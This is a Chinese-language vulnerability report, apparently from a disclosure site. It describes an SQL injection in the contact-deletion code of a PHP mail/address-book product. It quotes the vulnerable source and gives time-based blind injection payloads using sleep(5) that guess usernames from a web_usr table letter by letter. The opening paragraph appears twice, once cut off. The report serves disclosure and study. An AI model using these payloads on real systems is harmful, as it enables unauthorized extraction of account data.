### 简要描述： 看到路人甲大神频频发威，..... ### 详细说明： File: client\pab\module\o_contact.php Line: 371 ``` if ( ACTION == "contact-del" ) { $contact_ids = gss( $_POST['contact_ids'] ); // 未过滤 if ( !$contact_ids ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } $result = $PAB->delContactByID( $user_id, $contact_ids, 0 );//跟踪该方法 if ( $result ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } else { dump_json( array( "status" => FALSE, "message" => "修改联系人时发生错误，删除失败！" ) ); } } public function delContactByID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw = FALSE ) { $_obfuscate_B6D9o5T_tA = $this->delMapByContactID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw ); $_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND contact_id IN (".$_obfuscate_aTToSQRb_5zHbps.")"; //注意1！！ $_obfuscate_vLWlS_m5__2wteA = $this->del_contact( $_obfuscate_IRFhnYw, $_obfuscate_ySeUHBw ); return...
### 简要描述： 看到路人甲大神频频发威，..... ### 详细说明： File: client\pab\module\o_contact.php Line: 371 ``` if ( ACTION == "contact-del" ) { $contact_ids = gss( $_POST['contact_ids'] ); // 未过滤 if ( !$contact_ids ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } $result = $PAB->delContactByID( $user_id, $contact_ids, 0 );//跟踪该方法 if ( $result ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } else { dump_json( array( "status" => FALSE, "message" => "修改联系人时发生错误，删除失败！" ) ); } } public function delContactByID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw = FALSE ) { $_obfuscate_B6D9o5T_tA = $this->delMapByContactID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw ); $_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND contact_id IN (".$_obfuscate_aTToSQRb_5zHbps.")"; //注意1！！ $_obfuscate_vLWlS_m5__2wteA = $this->del_contact( $_obfuscate_IRFhnYw, $_obfuscate_ySeUHBw ); return $_obfuscate_vLWlS_m5__2wteA; } ``` 看到上面的注意1，没有单引号闭合，且代入数据库变量未过滤，存在注入。 此处不能回显，可以通过延时盲注来注出数据。 ### 漏洞证明： 先来张延时证明注入存在： [<img src="https://images.seebug.org/upload/201408/201833555d136173c55d9aa9f73283aa1b285ff6.png" alt="QQ20140820-1@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/201833555d136173c55d9aa9f73283aa1b285ff6.png) 逐位猜解： 1. or if(((select count(*) from web_usr where usr_name like 'a') > 0), 0, sleep(5))# usr_name是a开头的，所以这一句很快执行完毕。 2. or if(((select count(*) from web_usr where usr_name like 'ab___') > 0), 0, sleep(5))# usr_name不是ab开头的，所以这一句就会去执行后面的sleep(5) 3. or if(((select count(*) from web_usr where usr_name like 'ad___') > 0), 0, sleep(5))# usr_name是ad开头的，这一句会很快执行 [<img src="https://images.seebug.org/upload/201408/201840520410829013545dddc2f4830bf24f3099.png" alt="QQ20140820-2@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/201840520410829013545dddc2f4830bf24f3099.png) 剩下的就是体力活了。
